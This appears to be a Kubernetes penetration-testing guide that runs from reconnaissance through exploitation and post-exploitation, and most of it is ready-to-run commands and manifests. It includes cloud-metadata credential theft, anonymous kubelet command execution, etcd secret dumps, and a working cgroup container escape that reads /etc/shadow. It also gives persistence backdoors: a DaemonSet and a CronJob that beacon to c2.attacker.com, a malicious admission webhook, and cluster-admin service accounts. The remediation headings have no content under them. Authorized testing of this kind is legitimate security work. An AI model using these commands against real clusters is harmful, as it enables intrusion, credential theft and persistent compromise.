Introduction to Kubernetes Penetration Testing
Kubernetes has become the backbone of modern cloud-native infrastructure, orchestrating containers across thousands of organizations worldwide. However, its complexity introduces numerous attack vectors that security teams must understand and test.
This guide provides a comprehensive methodology for assessing Kubernetes cluster security, from reconnaissance to post-exploitation.
Kubernetes Attack Surface Overview
Control Plane Components
API Server (kube-apiserver)
etcd
Controller Manager (kube-controller-manager)
Scheduler (kube-scheduler)
Node Components
Kubelet
Kube-proxy
Container Runtime (containerd/CRI-O)
Additional Attack Surfaces
Phase 1: Reconnaissance
External Reconnaissance
# Shodan queries for exposed Kubernetes
shodan search "kubernetes" port:6443
shodan search "kube-apiserver"
shodan search "Server: openresty" ssl:"kubernetes"
shodan search "ssl.cert.subject.cn:kubernetes"
# Censys queries
censys search "services.http.response.headers.server: openresty AND services.port: 6443"# Common Kubernetes DNS names
dig kubernetes.default.svc.cluster.local
dig +short CNAME api.kubernetes.io
dig +short A k8s.example.com
# Cloud provider patterns
dig +short eks.amazonaws.com
dig +short *.azmk8s.io
dig +short *.gke.googInternal Reconnaissance
# Discover Kubernetes API server
nmap -sV -p 6443,8443,443 <target-range>
# Check for exposed dashboards
curl -k https://<target>:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Enumerate kubelet
nmap -sV -p 10250,10255 <node-ips># Environment variables reveal cluster info
env | grep KUBERNETES
# DNS-based service discovery
nslookup kubernetes.default.svc.cluster.local
cat /etc/resolv.conf
# API server endpoint
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Test API access
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespacesCloud Metadata Service Access
# AWS IMDS
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP Metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure IMDS
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Phase 2: Vulnerability Discovery
Exposed Kubernetes Dashboard
# Check for unauthenticated dashboard
curl -k https://<cluster>/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Common dashboard paths
/dashboard
/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/Anonymous Kubelet Access
# Test anonymous kubelet API access
curl -k https://<node>:10250/pods
curl -k https://<node>:10250/runningpods
curl -k https://<node>:10250/stats
# Execute commands via kubelet (if anonymous exec allowed)
curl -k https://<node>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"RBAC Misconfigurations
# Check current permissions
kubectl auth can-i --list
# Check permissions for all verbs
kubectl auth can-i '*' '*'
# Check specific dangerous permissions
kubectl auth can-i create pods
kubectl auth can-i create secrets
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
# Check for wildcard permissions
kubectl get clusterroles -o json | jq '.items[] | select(.rules[]?.verbs[]? == "*" or .rules[]?.resources[]? == "*") | .metadata.name'Etcd Direct Access
# Check if etcd is exposed
nmap -sV -p 2379 <control-plane-ip>
# Connect to unauthenticated etcd
etcdctl --endpoints=http://<etcd-ip>:2379 get / --prefix --keys-only
# Dump all secrets from etcd
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets --prefixPhase 3: Exploitation
CVE-2018-1002105: API Server Privilege Escalation
This critical vulnerability allows any user with exec/attach/portforward permissions to escalate to cluster-admin.
# Exploit: Hijack websocket connection to backend
# Attacker establishes exec connection, then sends crafted request
# to kube-aggregator which gets forwarded with elevated privileges
# Check if vulnerable (versions < 1.10.11, 1.11.5, 1.12.3)
kubectl version --shortCVE-2020-8554: Man-in-the-Middle
External IP services can intercept traffic intended for internal services.
# Malicious service to intercept cluster traffic
apiVersion: v1
kind: Service
metadata:
name: mitm-service
spec:
externalIPs:
- 10.96.0.1 # Cluster IP of target service
ports:
- port: 443
targetPort: 8080
selector:
app: attacker-podCVE-2024-21626: Container Escape via runc
# Check runc version (vulnerable < 1.1.12)
runc --version
# Exploit involves manipulating file descriptors
# during container creation to escape to hostPrivileged Container Escape
# Privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
name: privileged-pod
spec:
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /# Inside privileged container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# Get container path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create escape payload
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
# Trigger escape
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /outputService Account Token Theft
# Default token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use token to access API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secretshostPath Volume Abuse
# Pod with hostPath to access node filesystem
apiVersion: v1
kind: Pod
metadata:
name: hostpath-abuse
spec:
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-etc
mountPath: /host-etc
- name: host-var
mountPath: /host-var
volumes:
- name: host-etc
hostPath:
path: /etc
- name: host-var
hostPath:
path: /var/lib/kubelet# Inside pod, access host sensitive files
cat /host-etc/shadow
cat /host-var/config.yaml # kubelet config
ls /host-var/pods/*/volumes/kubernetes.io~secret/ # All SA tokens on nodePhase 4: Post-Exploitation
Lateral Movement
# List all namespaces
kubectl get namespaces
# Try to access secrets in other namespaces
kubectl get secrets -n kube-system
kubectl get secrets -n default
# Create pod in another namespace if permitted
kubectl run shell --image=alpine -n production -- sleep infinity# After escaping to a node, find other nodes
kubectl get nodes -o wide
# SSH from node to node (if keys exist)
cat /root/.ssh/id_rsa
# Use kubelet creds to access other kubelets
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem https://<other-node>:10250/podsSecret Extraction
# Get all secrets
kubectl get secrets --all-namespaces -o yaml
# Decode secrets
kubectl get secret <name> -o jsonpath='{.data}' | base64 -d
# Extract specific secret types
kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type=="kubernetes.io/tls") | .metadata.name'
# Get cloud provider secrets
kubectl get secrets -n kube-system | grep -E "aws|azure|gcp"Persistence Mechanisms
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-monitor
namespace: kube-system
spec:
selector:
matchLabels:
name: node-monitor
template:
metadata:
labels:
name: node-monitor
spec:
hostNetwork: true
hostPID: true
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
while true; do
curl -s https://c2.attacker.com/beacon?node=$(hostname)
sleep 3600
done
securityContext:
privileged: true
tolerations:
- operator: ExistsapiVersion: batch/v1
kind: CronJob
metadata:
name: persistence
namespace: default
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: beacon
image: curlimages/curl
command:
- /bin/sh
- -c
- curl https://c2.attacker.com/alive?cluster=$(hostname)
restartPolicy: OnFailureapiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: backdoor-webhook
webhooks:
- name: backdoor.attacker.com
clientConfig:
url: https://attacker.com/mutate
caBundle: <base64-ca>
rules:
- operations: ["CREATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["pods"]
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: IgnoreCluster Takeover
# Create cluster-admin binding
kubectl create clusterrolebinding pwned-admin \
--clusterrole=cluster-admin \
--serviceaccount=default:default
# Deploy backdoor admin user
kubectl create serviceaccount backdoor-admin -n kube-system
kubectl create clusterrolebinding backdoor-admin \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:backdoor-admin
# Get long-lived token
kubectl create token backdoor-admin -n kube-system --duration=8760hEssential Penetration Testing Tools
kube-hunter
# Remote cluster scanning
kube-hunter --remote <cluster-ip>
# Scan from inside a pod
kube-hunter --pod
# Active hunting (exploitation)
kube-hunter --activePeirates
# Interactive post-exploitation tool
./peirates
# Key features:
# - Service account token harvesting
# - Secret extraction across namespaces
# - Privilege escalation automation
# - Cloud metadata accesskubeletctl
# Enumerate pods on a node
kubeletctl pods -s <node-ip>
# Execute commands in containers
kubeletctl exec -s <node-ip> -p <pod> -c <container> -- id
# Scan for misconfigurations
kubeletctl scan rce -s <node-ip>kdigger
# Comprehensive container breakout scanner
kdigger dig all
# Specific checks
kdigger dig capabilities
kdigger dig namespaces
kdigger dig mountskubectl Plugins
# Install with krew
kubectl krew install rbac-lookup
kubectl krew install access-matrix
kubectl krew install who-can
# Usage
kubectl rbac-lookup --kind User
kubectl access-matrix --sa default
kubectl who-can create pods --all-namespacesMITRE ATT&CK for Containers Mapping
| Tactic | Technique | Kubernetes Context |
|--------|-----------|-------------------|
| Initial Access | Exploit Public-Facing Application | Exposed Dashboard/API |
| Initial Access | Valid Accounts | Stolen kubeconfig/tokens |
| Execution | Container Administration Command | kubectl exec, kubelet API |
| Persistence | Create Account | Service Account creation |
| Persistence | Implant Container Image | Backdoored images |
| Privilege Escalation | Exploitation for Privilege Escalation | CVE-2018-1002105 |
| Defense Evasion | Impair Defenses | Disable admission controllers |
| Credential Access | Unsecured Credentials | SA tokens, secrets |
| Discovery | Container and Resource Discovery | API enumeration |
| Lateral Movement | Exploitation of Remote Services | Cross-namespace access |
| Collection | Data from Information Repositories | Secret extraction |
| Exfiltration | Exfiltration Over Web Service | Data to external C2 |
| Impact | Resource Hijacking | Cryptomining pods |
Remediation Recommendations
Immediate Actions
Long-term Improvements
Conclusion
Kubernetes penetration testing requires understanding both the orchestration platform and container security fundamentals. The attack surface is vast—from API server misconfigurations to container escape techniques. Security teams must regularly assess their clusters using these methodologies to identify and remediate vulnerabilities before attackers exploit them.
Disclaimer: This guide is for authorized security testing only. Always obtain proper authorization before testing Kubernetes clusters.